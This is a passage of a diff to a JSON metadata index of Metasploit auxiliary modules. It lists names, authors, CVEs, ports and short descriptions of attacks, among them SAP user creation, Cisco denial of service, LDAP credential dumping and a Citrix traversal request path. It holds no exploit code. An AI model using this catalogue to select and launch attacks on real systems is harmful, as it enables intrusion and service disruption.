"path": "/modules/auxiliary/admin/networking/ubiquiti_config.rb",
"is_install_path": true,
"ref_name": "admin/networking/ubiquiti_config",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
},
"needs_cleanup": false
},
"auxiliary_admin/officescan/tmlisten_traversal": {
"name": "TrendMicro OfficeScanNT Listener Traversal Arbitrary File Access",
"fullname": "auxiliary/admin/officescan/tmlisten_traversal",
@@ -6396,6 +6646,60 @@
},
"needs_cleanup": false
},
"auxiliary_admin/sap/cve_2020_6287_ws_add_user": {
"name": "SAP Unauthenticated WebService User Creation",
"fullname": "auxiliary/admin/sap/cve_2020_6287_ws_add_user",
"aliases": [
],
"rank": 300,
"disclosure_date": "2020-07-14",
"type": "auxiliary",
"author": [
"Pablo Artuso",
"Dmitry Chastuhin",
"Spencer McIntyre"
],
"description": "This module leverages an unauthenticated web service to submit a job which will create a user with a specified\n role. The job involves running a wizard. After the necessary action is taken, the job is canceled to avoid\n unnecessary system changes.",
"references": [
"CVE-2020-6287",
"URL-https://github.com/chipik/SAP_RECON",
"URL-https://www.onapsis.com/recon-sap-cyber-security-vulnerability",
"URL-https://us-cert.cisa.gov/ncas/alerts/aa20-195a"
],
"platform": "",
"arch": "",
"rport": 50000,
"autofilter_ports": [
80,
8080,
443,
8000,
8888,
8880,
8008,
3000,
8443
],
"autofilter_services": [
"http",
"https"
],
"targets": null,
"mod_time": "2020-07-23 18:10:07 +0000",
"path": "/modules/auxiliary/admin/sap/cve_2020_6287_ws_add_user.rb",
"is_install_path": true,
"ref_name": "admin/sap/cve_2020_6287_ws_add_user",
"check": true,
"post_auth": true,
"default_credential": false,
"notes": {
"AKA": [
"RECON"
]
},
"needs_cleanup": false
},
"auxiliary_admin/sap/sap_configservlet_exec_noauth": {
"name": "SAP ConfigServlet OS Command Execution",
"fullname": "auxiliary/admin/sap/sap_configservlet_exec_noauth",
@@ -6961,7 +7265,7 @@
"microsoft-ds"
],
"targets": null,
"mod_time": "2017-11-09 03:00:24 +0000",
"mod_time": "2020-05-13 16:34:47 +0000",
"path": "/modules/auxiliary/admin/smb/check_dir_file.rb",
"is_install_path": true,
"ref_name": "admin/smb/check_dir_file",
@@ -7000,7 +7304,7 @@
"microsoft-ds"
],
"targets": null,
"mod_time": "2020-06-11 13:09:25 +0000",
"mod_time": "2020-07-15 09:58:07 +0000",
"path": "/modules/auxiliary/admin/smb/delete_file.rb",
"is_install_path": true,
"ref_name": "admin/smb/delete_file",
@@ -7039,7 +7343,7 @@
"microsoft-ds"
],
"targets": null,
"mod_time": "2020-06-11 13:09:25 +0000",
"mod_time": "2020-07-15 09:58:07 +0000",
"path": "/modules/auxiliary/admin/smb/download_file.rb",
"is_install_path": true,
"ref_name": "admin/smb/download_file",
@@ -7079,7 +7383,7 @@
"microsoft-ds"
],
"targets": null,
"mod_time": "2017-07-24 06:26:21 +0000",
"mod_time": "2020-05-13 16:34:47 +0000",
"path": "/modules/auxiliary/admin/smb/list_directory.rb",
"is_install_path": true,
"ref_name": "admin/smb/list_directory",
@@ -7127,7 +7431,7 @@
"microsoft-ds"
],
"targets": null,
"mod_time": "2020-05-30 10:27:48 +0000",
"mod_time": "2020-07-06 10:33:03 +0000",
"path": "/modules/auxiliary/admin/smb/ms17_010_command.rb",
"is_install_path": true,
"ref_name": "admin/smb/ms17_010_command",
@@ -7176,7 +7480,7 @@
"microsoft-ds"
],
"targets": null,
"mod_time": "2020-05-30 10:27:48 +0000",
"mod_time": "2020-07-06 10:25:38 +0000",
"path": "/modules/auxiliary/admin/smb/psexec_command.rb",
"is_install_path": true,
"ref_name": "admin/smb/psexec_command",
@@ -7258,7 +7562,7 @@
"microsoft-ds"
],
"targets": null,
"mod_time": "2018-07-12 17:34:52 +0000",
"mod_time": "2020-05-13 16:34:47 +0000",
"path": "/modules/auxiliary/admin/smb/samba_symlink_traversal.rb",
"is_install_path": true,
"ref_name": "admin/smb/samba_symlink_traversal",
@@ -7297,7 +7601,7 @@
"microsoft-ds"
],
"targets": null,
"mod_time": "2020-06-11 13:09:25 +0000",
"mod_time": "2020-07-15 09:58:07 +0000",
"path": "/modules/auxiliary/admin/smb/upload_file.rb",
"is_install_path": true,
"ref_name": "admin/smb/upload_file",
@@ -7517,43 +7821,6 @@
},
"needs_cleanup": false
},
"auxiliary_admin/ubiquiti/ubiquiti_config": {
"name": "Ubiquiti Configuration Importer",
"fullname": "auxiliary/admin/ubiquiti/ubiquiti_config",
"aliases": [
],
"rank": 300,
"disclosure_date": null,
"type": "auxiliary",
"author": [
"h00die"
],
"description": "This module imports an Ubiquiti device configuration.\n The db file within the .unf backup is the data file for\n Unifi. This module can take either the db file or .unf.",
"references": [
],
"platform": "",
"arch": "",
"rport": 22,
"autofilter_ports": [
],
"autofilter_services": [
],
"targets": null,
"mod_time": "2020-03-21 11:00:25 +0000",
"path": "/modules/auxiliary/admin/ubiquiti/ubiquiti_config.rb",
"is_install_path": true,
"ref_name": "admin/ubiquiti/ubiquiti_config",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
},
"needs_cleanup": false
},
"auxiliary_admin/upnp/soap_portmapping": {
"name": "UPnP IGD SOAP Port Mapping Utility",
"fullname": "auxiliary/admin/upnp/soap_portmapping",
@@ -8800,6 +9067,43 @@
},
"needs_cleanup": false
},
"auxiliary_client/telegram/send_message": {
"name": "Telegram Message Client",
"fullname": "auxiliary/client/telegram/send_message",
"aliases": [
],
"rank": 300,
"disclosure_date": null,
"type": "auxiliary",
"author": [
"Ege Balcı <egebalci@pm.me>"
],
"description": "This module will send a Telegram message to given chat ID with the\n given bot token. Please refer to the module documentation for info\n on how to retrieve the bot token and corresponding chat ID values.",
"references": [
],
"platform": "",
"arch": "",
"rport": null,
"autofilter_ports": [
],
"autofilter_services": [
],
"targets": null,
"mod_time": "2020-07-28 16:14:29 +0000",
"path": "/modules/auxiliary/client/telegram/send_message.rb",
"is_install_path": true,
"ref_name": "client/telegram/send_message",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
},
"needs_cleanup": false
},
"auxiliary_cloud/aws/enum_ec2": {
"name": "Amazon Web Services EC2 instance enumeration",
"fullname": "auxiliary/cloud/aws/enum_ec2",
@@ -9063,6 +9367,82 @@
},
"needs_cleanup": false
},
"auxiliary_dos/cisco/cisco_7937g_dos": {
"name": "Cisco 7937G Denial-of-Service Attack",
"fullname": "auxiliary/dos/cisco/cisco_7937g_dos",
"aliases": [
],
"rank": 300,
"disclosure_date": "2020-06-02",
"type": "auxiliary",
"author": [
"Cody Martin"
],
"description": "This module exploits a bug in how the conference station \n\thandles incoming SSH connections that provide an incompatible \n\tkey exchange. By connecting with an incompatible key exchange, \n\tthe device becomes nonresponsive until it is manually power\n\tcycled.",
"references": [
"URL-https://blacklanternsecurity.com/2020-08-07-Cisco-Unified-IP-Conference-Station-7937G/",
"CVE-2020-16138"
],
"platform": "",
"arch": "",
"rport": null,
"autofilter_ports": [
],
"autofilter_services": [
],
"targets": null,
"mod_time": "2020-08-21 13:13:33 +0000",
"path": "/modules/auxiliary/dos/cisco/cisco_7937g_dos.py",
"is_install_path": true,
"ref_name": "dos/cisco/cisco_7937g_dos",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
},
"needs_cleanup": false
},
"auxiliary_dos/cisco/cisco_7937g_dos_reboot": {
"name": "Cisco 7937G Denial-of-Service Reboot Attack",
"fullname": "auxiliary/dos/cisco/cisco_7937g_dos_reboot",
"aliases": [
],
"rank": 300,
"disclosure_date": "2020-06-02",
"type": "auxiliary",
"author": [
"Cody Martin"
],
"description": "This module exploits a bug in how the conference station handles \n\texecuting a ping via its web interface. By repeatedly executing \n\tthe ping function without clearing out the resulting output, \n\ta DoS is caused that will reset the device after a few minutes.",
"references": [
"URL-https://blacklanternsecurity.com/2020-08-07-Cisco-Unified-IP-Conference-Station-7937G/",
"CVE-2020-16139"
],
"platform": "",
"arch": "",
"rport": null,
"autofilter_ports": [
],
"autofilter_services": [
],
"targets": null,
"mod_time": "2020-08-21 09:01:45 +0000",
"path": "/modules/auxiliary/dos/cisco/cisco_7937g_dos_reboot.py",
"is_install_path": true,
"ref_name": "dos/cisco/cisco_7937g_dos_reboot",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
},
"needs_cleanup": false
},
"auxiliary_dos/cisco/ios_http_percentpercent": {
"name": "Cisco IOS HTTP GET /%% Request Denial of Service",
"fullname": "auxiliary/dos/cisco/ios_http_percentpercent",
@@ -11322,7 +11702,7 @@
"microsoft-ds"
],
"targets": null,
"mod_time": "2017-07-24 06:26:21 +0000",
"mod_time": "2020-05-13 16:34:47 +0000",
"path": "/modules/auxiliary/dos/samba/read_nttrans_ea_list.rb",
"is_install_path": true,
"ref_name": "dos/samba/read_nttrans_ea_list",
@@ -12909,7 +13289,7 @@
"microsoft-ds"
],
"targets": null,
"mod_time": "2020-05-12 22:15:21 +0000",
"mod_time": "2020-05-13 16:34:47 +0000",
"path": "/modules/auxiliary/dos/windows/smb/ms06_035_mailslot.rb",
"is_install_path": true,
"ref_name": "dos/windows/smb/ms06_035_mailslot",
@@ -12951,7 +13331,7 @@
"microsoft-ds"
],
"targets": null,
"mod_time": "2017-07-24 06:26:21 +0000",
"mod_time": "2020-05-13 16:34:47 +0000",
"path": "/modules/auxiliary/dos/windows/smb/ms06_063_trans.rb",
"is_install_path": true,
"ref_name": "dos/windows/smb/ms06_063_trans",
@@ -12993,7 +13373,7 @@
"microsoft-ds"
],
"targets": null,
"mod_time": "2017-07-24 06:26:21 +0000",
"mod_time": "2020-05-13 16:34:47 +0000",
"path": "/modules/auxiliary/dos/windows/smb/ms09_001_write.rb",
"is_install_path": true,
"ref_name": "dos/windows/smb/ms09_001_write",
@@ -13158,7 +13538,7 @@
"microsoft-ds"
],
"targets": null,
"mod_time": "2018-09-15 18:54:45 +0000",
"mod_time": "2020-05-13 16:34:47 +0000",
"path": "/modules/auxiliary/dos/windows/smb/ms10_054_queryfs_pool_overflow.rb",
"is_install_path": true,
"ref_name": "dos/windows/smb/ms10_054_queryfs_pool_overflow",
@@ -14100,7 +14480,7 @@
"microsoft-ds"
],
"targets": null,
"mod_time": "2017-07-24 06:26:21 +0000",
"mod_time": "2020-05-13 16:34:47 +0000",
"path": "/modules/auxiliary/fuzzers/smb/smb_create_pipe_corrupt.rb",
"is_install_path": true,
"ref_name": "fuzzers/smb/smb_create_pipe_corrupt",
@@ -14176,7 +14556,7 @@
"microsoft-ds"
],
"targets": null,
"mod_time": "2017-07-24 06:26:21 +0000",
"mod_time": "2020-05-07 20:22:56 +0000",
"path": "/modules/auxiliary/fuzzers/smb/smb_ntlm1_login_corrupt.rb",
"is_install_path": true,
"ref_name": "fuzzers/smb/smb_ntlm1_login_corrupt",
@@ -14254,7 +14634,7 @@
"microsoft-ds"
],
"targets": null,
"mod_time": "2017-07-24 06:26:21 +0000",
"mod_time": "2020-05-13 16:34:47 +0000",
"path": "/modules/auxiliary/fuzzers/smb/smb_tree_connect_corrupt.rb",
"is_install_path": true,
"ref_name": "fuzzers/smb/smb_tree_connect_corrupt",
@@ -16044,7 +16424,7 @@
"dns"
],
"targets": null,
"mod_time": "2020-05-06 10:38:11 +0000",
"mod_time": "2020-08-10 16:31:11 +0000",
"path": "/modules/auxiliary/gather/enum_dns.rb",
"is_install_path": true,
"ref_name": "gather/enum_dns",
@@ -17226,6 +17606,50 @@
},
"needs_cleanup": false
},
"auxiliary_gather/ldap_hashdump": {
"name": "LDAP Information Disclosure",
"fullname": "auxiliary/gather/ldap_hashdump",
"aliases": [
],
"rank": 300,
"disclosure_date": "2020-07-23",
"type": "auxiliary",
"author": [
"Hynek Petrak"
],
"description": "This module uses an anonymous-bind LDAP connection to dump data from\n an LDAP server. Searching for attributes with user credentials\n (e.g. userPassword).",
"references": [
"CVE-2020-3952",
"URL-https://www.vmware.com/security/advisories/VMSA-2020-0006.html"
],
"platform": "",
"arch": "",
"rport": 636,
"autofilter_ports": [
],
"autofilter_services": [
],
"targets": null,
"mod_time": "2020-08-27 09:14:51 +0000",
"path": "/modules/auxiliary/gather/ldap_hashdump.rb",
"is_install_path": true,
"ref_name": "gather/ldap_hashdump",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
"Stability": [
"crash-safe"
],
"SideEffects": [
"ioc-in-logs"
]
},
"needs_cleanup": false
},
"auxiliary_gather/mantisbt_admin_sqli": {
"name": "MantisBT Admin SQL Injection Arbitrary File Read",
"fullname": "auxiliary/gather/mantisbt_admin_sqli",
@@ -17611,7 +18035,7 @@
],
"targets": null,
"mod_time": "2020-01-16 14:21:09 +0000",
"mod_time": "2020-08-14 13:11:38 +0000",
"path": "/modules/auxiliary/gather/nis_bootparamd_domain.rb",
"is_install_path": true,
"ref_name": "gather/nis_bootparamd_domain",
@@ -17836,6 +18260,55 @@
},
"needs_cleanup": false
},
"auxiliary_gather/peplink_bauth_sqli": {
"name": "Peplink Balance routers SQLi",
"fullname": "auxiliary/gather/peplink_bauth_sqli",
"aliases": [
],
"rank": 300,
"disclosure_date": null,
"type": "auxiliary",
"author": [
"X41 D-Sec GmbH <info@x41-dsec.de>",
"Redouane NIBOUCHA <rniboucha@yahoo.fr>"
],
"description": "Firmware versions up to 7.0.0-build1904 of Peplink Balance routers are affected by an unauthenticated\n SQL injection vulnerability in the bauth cookie, successful exploitation of the vulnerability allows an\n attacker to retrieve the cookies of authenticated users, bypassing the web portal authentication.\n\n By default, a session expires 4 hours after login (the setting can be changed by the admin), for this\n reason, the module attempts to retrieve the most recently created sessions.",
"references": [
"EDB-42130",
"CVE-2017-8835",
"URL-https://gist.github.com/red0xff/c4511d2f427efcb8b018534704e9607a"
],
"platform": "Linux",
"arch": "",
"rport": 80,
"autofilter_ports": [
80,
8080,
443,
8000,
8888,
8880,
8008,
3000,
8443
],
"autofilter_services": [
"http",
"https"
],
"targets": null,
"mod_time": "2020-09-02 20:19:03 +0000",
"path": "/modules/auxiliary/gather/peplink_bauth_sqli.rb",
"is_install_path": true,
"ref_name": "gather/peplink_bauth_sqli",
"check": true,
"post_auth": false,
"default_credential": false,
"notes": {
},
"needs_cleanup": false
},
"auxiliary_gather/pimcore_creds_sqli": {
"name": "Pimcore Gather Credentials via SQL Injection",
"fullname": "auxiliary/gather/pimcore_creds_sqli",
@@ -18383,13 +18856,22 @@
"arch": "",
"rport": null,
"autofilter_ports": [
80,
8080,
443,
8000,
8888,
8880,
8008,
3000,
8443
],
"autofilter_services": [
"http",
"https"
],
"targets": null,
"mod_time": "2020-06-17 14:22:07 +0000",
"mod_time": "2020-07-20 17:57:55 +0000",
"path": "/modules/auxiliary/gather/shodan_search.rb",
"is_install_path": true,
"ref_name": "gather/shodan_search",
@@ -18716,16 +19198,17 @@
"disclosure_date": "2020-04-09",
"type": "auxiliary",
"author": [
"Hynek Petrak",
"wvu <wvu@metasploit.com>"
],
"description": "This module uses an anonymous-bind LDAP connection to dump data from\n the vmdir service in VMware vCenter Server version 6.7 prior to the\n 6.7U3f update.",
"description": "This module uses an anonymous-bind LDAP connection to dump data from\n the vmdir service in VMware vCenter Server version 6.7 prior to the\n 6.7U3f update, only if upgraded from a previous release line, such as\n 6.0 or 6.5.",
"references": [
"CVE-2020-3952",
"URL-https://www.vmware.com/security/advisories/VMSA-2020-0006.html"
],
"platform": "",
"arch": "",
"rport": 389,
"rport": 636,
"autofilter_ports": [
],
@@ -18733,7 +19216,7 @@
],
"targets": null,
"mod_time": "2020-05-21 21:01:52 +0000",
"mod_time": "2020-07-25 00:13:12 +0000",
"path": "/modules/auxiliary/gather/vmware_vcenter_vmdir_ldap.rb",
"is_install_path": true,
"ref_name": "gather/vmware_vcenter_vmdir_ldap",
@@ -18779,7 +19262,7 @@
"microsoft-ds"
],
"targets": null,
"mod_time": "2019-03-05 03:41:41 +0000",
"mod_time": "2020-05-13 16:34:47 +0000",
"path": "/modules/auxiliary/gather/windows_deployment_services_shares.rb",
"is_install_path": true,
"ref_name": "gather/windows_deployment_services_shares",
@@ -22965,13 +23448,15 @@
"disclosure_date": "2019-12-17",
"type": "auxiliary",
"author": [
"Mikhail Klyuchnikov",
"Erik Wynter",
"altonjx"
],
"description": "This module exploits a directory traversal vulnerability (CVE-2019-19781) within Citrix ADC\n (NetScaler). It requests the smb.conf file located in the /vpns/cfg directory by issuing the request\n /vpn/../vpns/cfg/smb.conf. It then checks if the server is vulnerable by looking for the presence of\n a \"[global]\" directive in smb.conf, which this file should always contain.",
"references": [
"CVE-2019-19781",
"URL-https://support.citrix.com/article/CTX267027/"
"URL-https://support.citrix.com/article/CTX267027/",
"URL-https://swarm.ptsecurity.com/remote-code-execution-in-citrix-adc/"
],
"platform": "",
"arch": "",
@@ -22992,7 +23477,7 @@
"https"
],
"targets": null,
"mod_time": "2020-01-14 11:21:03 +0000",
"mod_time": "2020-07-08 14:36:42 +0000",
"path": "/modules/auxiliary/scanner/http/citrix_dir_traversal.rb",
"is_install_path": true,
"ref_name": "scanner/http/citrix_dir_traversal",
@@ -24791,6 +25276,56 @@
},
"needs_cleanup": false
},
"auxiliary_scanner/http/fortimail_login_bypass_detection": {
"name": "FortiMail Unauthenticated Login Bypass Scanner",
"fullname": "auxiliary/scanner/http/fortimail_login_bypass_detection",
"aliases": [
],
"rank": 300,
"disclosure_date": null,
"type": "auxiliary",
"author": [
"Mike Connor",
"Juerg Schweingruber <juerg.schweingruber@redguard.ch>",
"Patrick Schmid <patrick.schmid@redguard.ch>"
],
"description": "This module attempts to detect instances of FortiMail vulnerable\n against an unauthenticated login bypass (CVE-2020-9294).",
"references": [
"CVE-2020-9294",
"URL-https://fortiguard.com/psirt/FG-IR-20-045",
"URL-https://www.redguard.ch/blog/2020/07/02/fortimail-unauthenticated-login-bypass/"
],
"platform": "",
"arch": "",
"rport": 443,
"autofilter_ports": [
80,
8080,
443,
8000,
8888,
8880,
8008,
3000,
8443
],
"autofilter_services": [
"http",
"https"
],
"targets": null,
"mod_time": "2020-07-09 09:26:39 +0000",
"path": "/modules/auxiliary/scanner/http/fortimail_login_bypass_detection.rb",
"is_install_path": true,
"ref_name": "scanner/http/fortimail_login_bypass_detection",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
},
"needs_cleanup": false
},
"auxiliary_scanner/http/fortinet_ssl_vpn": {
"name": "Fortinet SSL VPN Bruteforce Login Utility",
"fullname": "auxiliary/scanner/http/fortinet_ssl_vpn",
@@ -27031,6 +27566,52 @@
},
"needs_cleanup": false
},
"auxiliary_scanner/http/jupyter_login": {
"name": "Jupyter Login Utility",
"fullname": "auxiliary/scanner/http/jupyter_login",
"aliases": [
],
"rank": 300,
"disclosure_date": null,
"type": "auxiliary",
"author": [
"Spencer McIntyre"
],
"description": "This module checks if authentication is required on a Jupyter Lab or Notebook server. If it is, this module will\n bruteforce the password. Jupyter only requires a password to authenticate, usernames are not used. This module\n is compatible with versions 4.3.0 (released 2016-12-08) and newer.",
"references": [
],
"platform": "",
"arch": "",
"rport": 8888,
"autofilter_ports": [
80,
8080,
443,
8000,
8888,
8880,
8008,
3000,
8443
],
"autofilter_services": [
"http",
"https"
],
"targets": null,
"mod_time": "2020-08-25 16:51:47 +0000",
"path": "/modules/auxiliary/scanner/http/jupyter_login.rb",
"is_install_path": true,
"ref_name": "scanner/http/jupyter_login",
"check": false,
"post_auth": true,
"default_credential": false,
"notes": {
},
"needs_cleanup": false
},
"auxiliary_scanner/http/kodi_traversal": {
"name": "Kodi 17.0 Local File Inclusion Vulnerability",
"fullname": "auxiliary/scanner/http/kodi_traversal",
@@ -28742,7 +29323,7 @@
"https"
],
"targets": null,
"mod_time": "2020-02-25 10:14:02 +0000",
"mod_time": "2020-06-25 17:19:41 +0000",
"path": "/modules/auxiliary/scanner/http/owa_login.rb",
"is_install_path": true,
"ref_name": "scanner/http/owa_login",
@@ -30151,6 +30732,56 @@
},
"needs_cleanup": false
},
"auxiliary_scanner/http/springcloud_directory_traversal": {
"name": "Directory Traversal in Spring Cloud Config Server",
"fullname": "auxiliary/scanner/http/springcloud_directory_traversal",
"aliases": [
],
"rank": 300,
"disclosure_date": "2020-06-01",
"type": "auxiliary",
"author": [
"Fei Lu",
"bfpiaoran <bfpiaoran@qq.com>",
"Dhiraj Mishra"
],
"description": "This module exploits an unauthenticated directory traversal vulnerability\n which exists in Spring Cloud Config versions 2.2.x prior to 2.2.3 and\n 2.1.x prior to 2.1.9, and older unsupported versions. Spring\n Cloud Config listens by default on port 8888.",
"references": [
"CVE-2020-5410",
"URL-https://tanzu.vmware.com/security/cve-2020-5410",
"URL-https://xz.aliyun.com/t/7877"
],
"platform": "",
"arch": "",
"rport": 8888,
"autofilter_ports": [
80,
8080,
443,
8000,
8888,
8880,
8008,
3000,
8443
],
"autofilter_services": [
"http",
"https"
],
"targets": null,
"mod_time": "2020-07-06 09:47:58 +0000",
"path": "/modules/auxiliary/scanner/http/springcloud_directory_traversal.rb",
"is_install_path": true,
"ref_name": "scanner/http/springcloud_directory_traversal",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
},
"needs_cleanup": false
},
"auxiliary_scanner/http/springcloud_traversal": {
"name": "Spring Cloud Config Server Directory Traversal",
"fullname": "auxiliary/scanner/http/springcloud_traversal",
@@ -30209,9 +30840,10 @@
"disclosure_date": null,
"type": "auxiliary",
"author": [
"willis"
"willis",
"0x44434241"
],
"description": "A misconfigured Squid proxy can allow an attacker to make requests on his behalf.\n This may give the attacker information about devices that he cannot reach but the\n Squid proxy can. For example, an attacker can make requests for internal IP addresses\n against a misconfigured open Squid proxy exposed to the Internet, therefore performing\n an internal port scan. The error messages returned by the proxy are used to determine\n if the port is open or not.\n\n Many Squid proxies use custom error codes so your mileage may vary. The open_proxy\n module can be used to test for open proxies, though a Squid proxy does not have to be\n open in order to allow for pivoting (e.g. an Intranet Squid proxy which allows\n the attack to pivot to another part of the network).",
"description": "A exposed Squid proxy will usually allow an attacker to make requests on\n their behalf. If misconfigured, this may give the attacker information\n about devices that they cannot normally reach. For example, an attacker\n may be able to make requests for internal IP addresses against an open\n Squid proxy exposed to the Internet, therefore performing a port scan\n against the internal network.\n\n The `auxiliary/scanner/http/open_proxy` module can be used to test for\n open proxies, though a Squid proxy does not have to be on the open\n Internet in order to allow for pivoting (e.g. an Intranet Squid proxy\n which allows the attack to pivot to another part of the internal\n network).\n\n This module will not be able to scan network ranges or ports denied by\n Squid ACLs. Fortunately it is possible to detect whether a host was up\n and the port was closed, or if the request was blocked by an ACL, based\n on the response Squid gives. This feedback is provided to the user in\n meterpreter `VERBOSE` output, otherwise only open and permitted ports\n are printed.",
"references": [
],
@@ -30234,7 +30866,7 @@
"https"
],
"targets": null,
"mod_time": "2017-08-26 21:01:10 +0000",
"mod_time": "2020-08-21 08:47:05 +0000",
"path": "/modules/auxiliary/scanner/http/squid_pivot_scanning.rb",
"is_install_path": true,
"ref_name": "scanner/http/squid_pivot_scanning",
@@ -34010,7 +34642,7 @@
],
"targets": null,
"mod_time": "2017-07-24 06:26:21 +0000",
"mod_time": "2020-08-26 12:34:03 +0000",
"path": "/modules/auxiliary/scanner/misc/java_rmi_server.rb",
"is_install_path": true,
"ref_name": "scanner/misc/java_rmi_server",
@@ -39775,6 +40407,46 @@
},
"needs_cleanup": false
},
"auxiliary_scanner/scada/modbus_banner_grabbing": {
"name": "Modbus Banner Grabbing",
"fullname": "auxiliary/scanner/scada/modbus_banner_grabbing",
"aliases": [
],
"rank": 300,
"disclosure_date": null,
"type": "auxiliary",
"author": [
"Juan Escobar <juan@null-life.com>",
"Ezequiel Fernandez"
],
"description": "This module grabs the banner of any device running the Modbus protocol\n by sending a request with Modbus Function Code 43 (Read Device\n Identification). Modbus is a data communications protocol originally\n published by Modicon (now Schneider Electric) in 1979 for use with its\n programmable logic controllers (PLCs).",
"references": [
"URL-https://modbus.org/docs/Modbus_Messaging_Implementation_Guide_V1_0b.pdf",
"URL-https://en.wikipedia.org/wiki/Modbus#Modbus_TCP_frame_format_(primarily_used_on_Ethernet_networks)",
"URL-https://github.com/industrialarmy/Hello_Proto"
],
"platform": "",
"arch": "",
"rport": 502,
"autofilter_ports": [
],
"autofilter_services": [
],
"targets": null,
"mod_time": "2020-09-08 10:51:30 +0000",
"path": "/modules/auxiliary/scanner/scada/modbus_banner_grabbing.rb",
"is_install_path": true,
"ref_name": "scanner/scada/modbus_banner_grabbing",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
},
"needs_cleanup": false
},
"auxiliary_scanner/scada/modbus_findunitid": {
"name": "Modbus Unit ID and Station ID Enumerator",
"fullname": "auxiliary/scanner/scada/modbus_findunitid",
@@ -40399,7 +41071,7 @@
"microsoft-ds"
],
"targets": null,
"mod_time": "2020-02-26 12:17:59 +0000",
"mod_time": "2020-05-13 16:34:47 +0000",
"path": "/modules/auxiliary/scanner/smb/pipe_auditor.rb",
"is_install_path": true,
"ref_name": "scanner/smb/pipe_auditor",
@@ -40517,7 +41189,7 @@
],
"targets": null,
"mod_time": "2017-09-18 15:02:38 +0000",
"mod_time": "2020-06-25 12:18:30 +0000",
"path": "/modules/auxiliary/scanner/smb/smb1.rb",
"is_install_path": true,
"ref_name": "scanner/smb/smb1",
@@ -40554,7 +41226,7 @@
],
"targets": null,
"mod_time": "2017-07-24 06:26:21 +0000",
"mod_time": "2020-06-25 12:18:30 +0000",
"path": "/modules/auxiliary/scanner/smb/smb2.rb",
"is_install_path": true,
"ref_name": "scanner/smb/smb2",
@@ -40577,8 +41249,9 @@
"author": [
"Joshua D. Abraham <jabra@praetorian.com>"
],
"description": "This module enumerates files from target domain controllers and connects to them via SMB.\n It then looks for Group Policy Preference XML files containing local/domain user accounts\n and passwords and decrypts them using Microsofts public AES key. This module has been\n tested successfully on a Win2k8 R2 Domain Controller.",
"description": "This module enumerates files from target domain controllers and connects to them via SMB.\n It then looks for Group Policy Preference XML files containing local/domain user accounts\n and passwords and decrypts them using Microsoft's public AES key. This module has been\n tested successfully on a Win2k8 R2 Domain Controller.",
"references": [
"CVE-2014-1812",
"MSB-MS14-025",
"URL-http://msdn.microsoft.com/en-us/library/cc232604(v=prot.13)",
"URL-http://rewtdance.blogspot.com/2012/06/exploiting-windows-2008-group-policy.html",
@@ -40597,7 +41270,7 @@
"microsoft-ds"
],
"targets": null,
"mod_time": "2020-05-30 10:27:48 +0000",
"mod_time": "2020-08-28 16:20:42 +0000",
"path": "/modules/auxiliary/scanner/smb/smb_enum_gpp.rb",
"is_install_path": true,
"ref_name": "scanner/smb/smb_enum_gpp",
@@ -40640,7 +41313,7 @@
"microsoft-ds"
],
"targets": null,
"mod_time": "2019-03-05 03:38:51 +0000",
"mod_time": "2020-06-09 13:24:27 +0000",
"path": "/modules/auxiliary/scanner/smb/smb_enumshares.rb",
"is_install_path": true,
"ref_name": "scanner/smb/smb_enumshares",
@@ -40849,7 +41522,7 @@
"microsoft-ds"
],
"targets": null,
"mod_time": "2019-05-23 14:19:33 +0000",
"mod_time": "2020-04-27 12:54:53 +0000",
"path": "/modules/auxiliary/scanner/smb/smb_ms17_010.rb",
"is_install_path": true,
"ref_name": "scanner/smb/smb_ms17_010",
@@ -40919,9 +41592,11 @@
"disclosure_date": null,
"type": "auxiliary",
"author": [
"hdm <x@hdm.io>"
"hdm <x@hdm.io>",
"Spencer McIntyre",
"Christophe De La Fuente"
],
"description": "Display version information about each system",
"description": "Fingerprint and display version information about SMB servers. Protocol\n information and host operating system (if available) will be reported.\n Host operating system detection requires the remote server to support\n version 1 of the SMB protocol. Compression and encryption capability\n negotiation is only present in version 3.1.1.",
"references": [
],
@@ -40937,7 +41612,7 @@
"microsoft-ds"
],
"targets": null,
"mod_time": "2019-10-02 20:22:51 +0000",
"mod_time": "2020-09-04 10:54:20 +0000",
"path": "/modules/auxiliary/scanner/smb/smb_version.rb",
"is_install_path": true,
"ref_name": "scanner/smb/smb_version",
@@ -45093,11 +45768,14 @@
"type": "auxiliary",
"author": [
"ddz <ddz@theta44.org>",
"hdm <x@hdm.io>"
"hdm <x@hdm.io>",
"h00die"
],
"description": "This module provides a fake SMTP service that\n is designed to capture authentication credentials.",
"references": [
"URL-https://www.samlogic.net/articles/smtp-commands-reference-auth.htm",
"URL-tools.ietf.org/html/rfc5321",
"URL-http://fehcom.de/qmail/smtpauth.html"
],
"platform": "",
"arch": "",
@@ -45109,7 +45787,7 @@
],
"targets": null,
"mod_time": "2020-05-12 22:15:21 +0000",
"mod_time": "2020-07-11 17:30:06 +0000",
"path": "/modules/auxiliary/server/capture/smtp.rb",
"is_install_path": true,
"ref_name": "server/capture/smtp",
@@ -45467,7 +46145,7 @@
"https"
],
"targets": null,
"mod_time": "2020-05-12 22:15:21 +0000",
"mod_time": "2020-05-13 16:34:47 +0000",
"path": "/modules/auxiliary/server/http_ntlmrelay.rb",
"is_install_path": true,
"ref_name": "server/http_ntlmrelay",
@@ -45957,6 +46635,49 @@
},
"needs_cleanup": false
},
"auxiliary_server/teamviewer_uri_smb_redirect": {
"name": "TeamViewer Unquoted URI Handler SMB Redirect",
"fullname": "auxiliary/server/teamviewer_uri_smb_redirect",
"aliases": [
],
"rank": 300,
"disclosure_date": null,
"type": "auxiliary",
"author": [
"Jeffrey Hofmann <me@jeffs.sh>",
"h00die"
],
"description": "This module exploits an unquoted parameter call within the Teamviewer\n URI handler to create an SMB connection to an attacker controlled IP.\n TeamViewer < 8.0.258861, 9.0.258860, 10.0.258873, 11.0.258870,\n 12.0.258869, 13.2.36220, 14.2.56676, 14.7.48350, and 15.8.3 are\n vulnerable.\n Only Firefox can be exploited by this vulnerability, as all other\n browsers encode the space after 'play' and before the SMB location,\n preventing successful exploitation.\n Teamviewer 15.4.4445, and 8.0.16642 were succssfully tested against.",
"references": [
